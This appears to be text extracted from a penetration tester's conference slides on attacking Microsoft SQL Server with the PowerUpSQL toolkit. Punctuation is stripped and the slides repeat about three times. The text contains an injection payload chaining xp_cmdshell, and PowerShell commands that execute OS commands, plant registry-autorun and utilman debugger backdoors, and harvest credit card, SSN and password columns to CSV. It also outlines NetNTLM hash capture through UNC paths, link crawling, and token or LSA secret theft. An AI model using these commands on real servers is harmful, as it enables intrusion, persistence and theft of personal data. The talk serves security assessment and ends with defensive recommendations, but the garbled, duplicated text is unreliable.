Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
